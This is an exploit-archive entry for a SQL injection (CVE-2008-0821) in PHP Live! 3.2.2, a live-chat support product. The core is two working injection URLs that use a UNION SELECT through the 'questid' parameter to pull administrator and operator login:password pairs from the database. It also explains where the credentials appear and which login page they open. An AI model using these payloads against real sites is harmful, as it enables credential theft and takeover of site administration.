PHP Live! 3.2.2 - 'questid' SQL Injection (2)

Author: skys
type: webapps
platform: php
port: 
date_added: 2009-07-23 
date_updated: 2016-11-11 
verified: 1 
codes: CVE-2008-0821 
tags: 
aliases:  
screenshot_url:  
application_url: 

Original author: Found by Xar of h4ck-y0u, Greets to Don & ViSiOn
Modified version: skys
Contact: skysbsb[at]gmail.com


[!]Info[!]

PHP Live! (© OSI Codes Inc.) enables live help and live customer support
communication directly from your website. With PHP Live!, you can
provide one-on-one chat assistance in real-time, answer visitor
questions and add that extra human touch to your website.

[!]SQL Injection[!]
The original code was a little mistake, the right code:

Code:
Set the proper l(login) var in the parameter request.
In this example, l=admin

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_asp%20limit%200,1

In the Answer field, you will see the login:password for the
http://www.site.com/path-to-phplive/setup/login.php

or, if you want to mess only just with the operators,

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_admin%20limit%200,1

# milw0rm.com [2009-07-24]